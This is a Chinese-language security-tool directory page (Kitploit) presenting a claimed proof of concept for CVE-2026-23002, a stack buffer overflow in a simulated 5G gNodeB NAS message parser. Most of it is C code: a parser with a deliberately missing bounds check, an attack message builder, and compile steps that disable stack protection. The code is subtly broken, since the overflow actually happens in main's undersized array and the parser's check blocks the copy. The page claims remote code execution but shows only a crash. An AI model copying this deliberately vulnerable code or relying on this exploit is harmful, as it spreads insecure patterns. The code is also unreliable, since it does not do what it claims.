Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-23002-5G-NAS-Message-Buffer-Overflow-in-gNodeB — 模拟 5G gNodeB NAS 解析器,含针对 CVE-2026-23002 的栈缓冲区溢出 PoC;特制的 NAS 消息可触发远程代码执行。 | Kitploit
工具/GitHubGitHub/george0papasotiriou/cve-2026-23002-5g-nas-message-buffer-overflow-in-gnodeb
嵌入式系统安全漏洞分析漏洞利用网络安全二进制利用
GitHubgeorge0papasotiriou/cve-2026-23002-5g-nas-message-buffer-overflow-in-gnodeb

CVE-2026-23002-5G-NAS-Message-Buffer-Overflow-in-gNodeB

模拟 5G gNodeB NAS 解析器,含针对 CVE-2026-23002 的栈缓冲区溢出 PoC;特制的 NAS 消息可触发远程代码执行。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
15天前尚未审核

CVE-2026-23002 – 5G NAS 消息导致 gNodeB 缓冲区溢出

程序代码(C 语言模拟)

root@kitploit:~
// gnb_nas_sim.c - Simulated 5G gNodeB parsing NAS Registration Request
#include <stdio.h>
#include <string.h>
#include <stdint.h>

#define MAX_IE_SIZE 128

void process_registration_request(uint8_t *nas_msg, uint16_t length) {
    uint8_t ie_buffer[MAX_IE_SIZE];
    // Read IE length from message; if length > MAX_IE_SIZE, buffer overflow
    uint16_t ie_length = (nas_msg[0] << 8) | nas_msg[1];
    if (ie_length > 0 && ie_length <= length - 2) {
        memcpy(ie_buffer, nas_msg + 2, ie_length); // no bounds check!
        printf("IE copied, size %d\n", ie_length);
    }
}

int main() {
    // Craft a NAS message with an oversized IE length
    uint8_t attack[] = {0x01, 0x00}; // IE length = 256, but buffer is only 128 bytes
    // Append padding to make length consistent
    memset(attack+2, 'A', 254);
    process_registration_request(attack, sizeof(attack));
    return 0;
}

CVE-2026-23002 – 5G NAS 消息导致 gNodeB 缓冲区溢出

Severity: Critical

概述

模拟 gNodeB 中的 5G 非接入层(NAS)解析器未能验证信息元素(IE)长度字段。攻击者发送精心构造的注册请求(Registration Request)即可溢出栈缓冲区,进而在基站上实现远程代码执行。

漏洞详情

  • 类型: 栈缓冲区溢出
  • 影响: 基站完全沦陷、网络中断。
  • 根本原因: NAS IE 长度被直接信任,未针对目标缓冲区大小进行边界检查。

漏洞利用演示

编译并运行存在漏洞的解析器:

root@kitploit:~
gcc -o gnb_nas_sim gnb_nas_sim.c -fno-stack-protector
./gnb_nas_sim

程序将因段错误(栈损坏)而崩溃。

下载工具